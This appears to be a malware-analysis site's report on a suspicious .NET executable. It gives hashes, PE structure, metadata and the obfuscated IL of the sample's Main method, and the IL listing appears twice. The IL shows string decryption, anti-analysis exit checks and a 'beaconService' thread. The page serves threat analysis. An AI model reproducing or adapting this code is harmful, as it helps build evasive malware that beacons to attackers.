Suspicious
Suspect

6dbc78e7f56e4d05dbf61e3f205b339d

Share on LinkedIn
Print
PE Executable
MD5: 6dbc78e7f56e4d05dbf61e3f205b339d
Size: 89.09 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score High
MD5 6dbc78e7f56e4d05dbf61e3f205b339d
Sha1 e255fc4314b98064497406940c36c77755c1627a
Sha256 f0f06d6d0f3bbcafb30dd9fd31bf75974e8f19fbb1f226ecada15720496da9ef
Sha384 109eb24d777bb30bc22914ea1a5c6f04a37fc2904b7efd4b6afa91e01457d14e0a12b35c41c70f518a514179bc5f3d68
Sha512 10fe0204e16c61ab91f6b183de3beb4a5f8d701b62c41d18acd326cf6e21831ed538472ea5137da775b9fa7210238dd9ab0d6aed8f12ad39806a5f832bf4cd2c
SSDeep 1536:7e1Qda8UdmdDUfOWnU18NMS40RJ85h2BCbzaer9baRInopjXXT1y9Wp31+qbR:QQCdmdDUfOWnU18NMS4iJk2gN9baRao5
TLSH 39933A0CB2C59671D0AF9B3545E25720C3B592036643FB4E0DEED1856E833C4AB85ABE
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
6dbc78e7f56e4d05dbf61e3f205b339d
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
_1ph7suTHxm14t.Properties.Resources.resources
shit.jpg
shit.jpg-preview.png
STICH beta

No STICH Path has been generated for this analysis yet.

3 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2img 1
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
stees
Full Name
stees
EntryPoint
System.Void sO2::vkuyi4()
Scope Name
stees
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
gjiew
Assembly Version
231.543.54.4
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
714
Main Method
System.Void sO2::vkuyi4()
Main IL Instruction Count
196
Main IL 
nop <null>
ldstr 9X3@
a
ldstr z7At_
call System.String tGfN::Iswfdodysevjtpsfptdmlw(System.String,System.String)
call System.String fVX7G::r_WR()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
nop <null>
nop <null>
ldc.i4 3072
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
nop <null>
nop <null>
leave IL_0046: call System.AppDomain System.AppDomain::get_CurrentDomain()
stloc.0 <null>
nop <null>
ldloc.0 <null>
callvirt System.String System.Exception::get_Message()
call System.Void System.Console::WriteLine(System.String)
nop <null>
nop <null>
leave IL_0046: call System.AppDomain System.AppDomain::get_CurrentDomain()
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler sO2/<>c::<>9__4_0
dup <null>
brtrue IL_006D: callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
pop <null>
ldsfld sO2/<>c sO2/<>c::<>9
ldftn System.Void sO2/<>c::<Main>b__4_0(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.UnhandledExceptionEventHandler sO2/<>c::<>9__4_0
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
nop <null>
call System.Void fVX7G::zj()
nop <null>
ldsfld System.String xDkXGh::h9nY
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse IL_0097: ldc.i4.0
call System.Boolean fVX7G::x15()
br IL_0098: stloc.1
ldc.i4.0 <null>
stloc.1 <null>
ldloc.1 <null>
brfalse IL_00A8: ldsfld System.String xDkXGh::jsL
nop <null>
ldc.i4.5 <null>
call System.Void System.Environment::Exit(System.Int32)
nop <null>
nop <null>
ldsfld System.String xDkXGh::jsL
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.2 <null>
ldloc.2 <null>
brfalse IL_010F: nop
nop <null>
call System.Void fVX7G::jef()
nop <null>
ldsfld System.Threading.ThreadStart sO2/<>c::<>9__4_1
dup <null>
brtrue IL_00E7: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldsfld sO2/<>c sO2/<>c::<>9
ldftn System.Void sO2/<>c::<Main>b__4_1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart sO2/<>c::<>9__4_1
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
call System.Void sO2::set_beaconService(System.Threading.Thread)
nop <null>
call System.Threading.Thread sO2::get_beaconService()
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
nop <null>
call System.Threading.Thread sO2::get_beaconService()
callvirt System.Void System.Threading.Thread::Start()
nop <null>
nop <null>
br IL_0117: ldsfld System.String qW9QhZ::n0
nop <null>
call System.Void fVX7G::vlgBt5()
nop <null>
nop <null>
ldsfld System.String qW9QhZ::n0
call System.Boolean System.IO.File::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.3 <null>
ldloc.3 <null>
brfalse IL_01D3: ldsfld System.String xDkXGh::gEhuxW
nop <null>
call System.Boolean av::jTE()
pop <null>
ldsfld bvz[] xDkXGh::dp1mh
call System.Byte[] qW9QhZ::vAC(bvz[])
stloc.s V_4
ldc.i4.0 <null>
stloc.s V_5
ldstr ,2*Y$+(QeWlh
ldstr yBF6E
call System.String tGfN::Iswfdodysevjtpsfptdmlw(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
nop <null>
br IL_01B8: ldloc.s V_5
nop <null>
ldloc.s V_4
call System.Boolean qW9QhZ::kF3pWS(System.Byte[])
stloc.s V_5
ldloc.s V_5
ldc.i4.0 <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brfalse IL_019A: nop
nop <null>
ldstr 2"a 
ldstr soPL4
call System.String tGfN::Iswfdodysevjtpsfptdmlw(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
nop <null>
ldc.i4 2000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
br IL_01B7: nop
nop <null>
ldstr 3P<Z]:$[
ldstr sRz5_
call System.String tGfN::Iswfdodysevjtpsfptdmlw(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
nop <null>
call System.Void qW9QhZ::el()
nop <null>
nop <null>
nop <null>
ldloc.s V_5
ldc.i4.0 <null>
ceq <null>
stloc.s V_7
ldloc.s V_7
brtrue IL_015B: nop
ldsfld System.String xDkXGh::utfY
ldc.i4.1 <null>
call System.Void wC::uXnW(System.String,System.Boolean)
nop <null>
nop <null>
ldsfld System.String xDkXGh::gEhuxW
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.s V_8
ldloc.s V_8
brfalse IL_01F3: ldsfld System.String xDkXGh::kN
nop <null>
call System.Void g0L::dn()
nop <null>
nop <null>
ldsfld System.String xDkXGh::kN
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.s V_9
ldloc.s V_9
brfalse IL_0213: ldsfld System.String xDkXGh::jsL
nop <null>
call System.Void g0L::eA()
nop <null>
nop <null>
ldsfld System.String xDkXGh::jsL
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse IL_0234: ldc.i4.0
call System.Threading.Thread sO2::get_beaconService()
ldnull <null>
cgt.un <null>
br IL_0235: stloc.s V_10
ldc.i4.0 <null>
stloc.s V_10
ldloc.s V_10
brfalse IL_026B: ret
nop <null>
ldsfld System.String xDkXGh::dIDaGB
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.s V_11
ldloc.s V_11
brfalse IL_025F: call System.Threading.Thread sO2::get_beaconService()
nop <null>
call System.Boolean zEU51::xz()
pop <null>
nop <null>
call System.Threading.Thread sO2::get_beaconService()
callvirt System.Void System.Threading.Thread::Join()
nop <null>
nop <null>
ret <null>
Module Name
stees
Full Name
stees
EntryPoint
System.Void sO2::vkuyi4()
Scope Name
stees
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
gjiew
Assembly Version
231.543.54.4
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
714
Main Method
System.Void sO2::vkuyi4()
Main IL Instruction Count
196
Main IL 
nop <null>
ldstr 9X3@
a
ldstr z7At_
call System.String tGfN::Iswfdodysevjtpsfptdmlw(System.String,System.String)
call System.String fVX7G::r_WR()
call System.String System.String::Concat(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
nop <null>
nop <null>
ldc.i4 3072
call System.Void System.Net.ServicePointManager::set_SecurityProtocol(System.Net.SecurityProtocolType)
nop <null>
nop <null>
leave IL_0046: call System.AppDomain System.AppDomain::get_CurrentDomain()
stloc.0 <null>
nop <null>
ldloc.0 <null>
callvirt System.String System.Exception::get_Message()
call System.Void System.Console::WriteLine(System.String)
nop <null>
nop <null>
leave IL_0046: call System.AppDomain System.AppDomain::get_CurrentDomain()
call System.AppDomain System.AppDomain::get_CurrentDomain()
ldsfld System.UnhandledExceptionEventHandler sO2/<>c::<>9__4_0
dup <null>
brtrue IL_006D: callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
pop <null>
ldsfld sO2/<>c sO2/<>c::<>9
ldftn System.Void sO2/<>c::<Main>b__4_0(System.Object,System.UnhandledExceptionEventArgs)
newobj System.Void System.UnhandledExceptionEventHandler::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.UnhandledExceptionEventHandler sO2/<>c::<>9__4_0
callvirt System.Void System.AppDomain::add_UnhandledException(System.UnhandledExceptionEventHandler)
nop <null>
call System.Void fVX7G::zj()
nop <null>
ldsfld System.String xDkXGh::h9nY
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse IL_0097: ldc.i4.0
call System.Boolean fVX7G::x15()
br IL_0098: stloc.1
ldc.i4.0 <null>
stloc.1 <null>
ldloc.1 <null>
brfalse IL_00A8: ldsfld System.String xDkXGh::jsL
nop <null>
ldc.i4.5 <null>
call System.Void System.Environment::Exit(System.Int32)
nop <null>
nop <null>
ldsfld System.String xDkXGh::jsL
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.2 <null>
ldloc.2 <null>
brfalse IL_010F: nop
nop <null>
call System.Void fVX7G::jef()
nop <null>
ldsfld System.Threading.ThreadStart sO2/<>c::<>9__4_1
dup <null>
brtrue IL_00E7: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
pop <null>
ldsfld sO2/<>c sO2/<>c::<>9
ldftn System.Void sO2/<>c::<Main>b__4_1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.ThreadStart sO2/<>c::<>9__4_1
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
call System.Void sO2::set_beaconService(System.Threading.Thread)
nop <null>
call System.Threading.Thread sO2::get_beaconService()
ldc.i4.0 <null>
callvirt System.Void System.Threading.Thread::SetApartmentState(System.Threading.ApartmentState)
nop <null>
call System.Threading.Thread sO2::get_beaconService()
callvirt System.Void System.Threading.Thread::Start()
nop <null>
nop <null>
br IL_0117: ldsfld System.String qW9QhZ::n0
nop <null>
call System.Void fVX7G::vlgBt5()
nop <null>
nop <null>
ldsfld System.String qW9QhZ::n0
call System.Boolean System.IO.File::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.3 <null>
ldloc.3 <null>
brfalse IL_01D3: ldsfld System.String xDkXGh::gEhuxW
nop <null>
call System.Boolean av::jTE()
pop <null>
ldsfld bvz[] xDkXGh::dp1mh
call System.Byte[] qW9QhZ::vAC(bvz[])
stloc.s V_4
ldc.i4.0 <null>
stloc.s V_5
ldstr ,2*Y$+(QeWlh
ldstr yBF6E
call System.String tGfN::Iswfdodysevjtpsfptdmlw(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
nop <null>
br IL_01B8: ldloc.s V_5
nop <null>
ldloc.s V_4
call System.Boolean qW9QhZ::kF3pWS(System.Byte[])
stloc.s V_5
ldloc.s V_5
ldc.i4.0 <null>
ceq <null>
stloc.s V_6
ldloc.s V_6
brfalse IL_019A: nop
nop <null>
ldstr 2"a 
ldstr soPL4
call System.String tGfN::Iswfdodysevjtpsfptdmlw(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
nop <null>
ldc.i4 2000
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
br IL_01B7: nop
nop <null>
ldstr 3P<Z]:$[
ldstr sRz5_
call System.String tGfN::Iswfdodysevjtpsfptdmlw(System.String,System.String)
call System.Void System.Console::WriteLine(System.String)
nop <null>
call System.Void qW9QhZ::el()
nop <null>
nop <null>
nop <null>
ldloc.s V_5
ldc.i4.0 <null>
ceq <null>
stloc.s V_7
ldloc.s V_7
brtrue IL_015B: nop
ldsfld System.String xDkXGh::utfY
ldc.i4.1 <null>
call System.Void wC::uXnW(System.String,System.Boolean)
nop <null>
nop <null>
ldsfld System.String xDkXGh::gEhuxW
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.s V_8
ldloc.s V_8
brfalse IL_01F3: ldsfld System.String xDkXGh::kN
nop <null>
call System.Void g0L::dn()
nop <null>
nop <null>
ldsfld System.String xDkXGh::kN
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.s V_9
ldloc.s V_9
brfalse IL_0213: ldsfld System.String xDkXGh::jsL
nop <null>
call System.Void g0L::eA()
nop <null>
nop <null>
ldsfld System.String xDkXGh::jsL
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
brfalse IL_0234: ldc.i4.0
call System.Threading.Thread sO2::get_beaconService()
ldnull <null>
cgt.un <null>
br IL_0235: stloc.s V_10
ldc.i4.0 <null>
stloc.s V_10
ldloc.s V_10
brfalse IL_026B: ret
nop <null>
ldsfld System.String xDkXGh::dIDaGB
ldstr 1
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc.s V_11
ldloc.s V_11
brfalse IL_025F: call System.Threading.Thread sO2::get_beaconService()
nop <null>
call System.Boolean zEU51::xz()
pop <null>
nop <null>
call System.Threading.Thread sO2::get_beaconService()
callvirt System.Void System.Threading.Thread::Join()
nop <null>
nop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙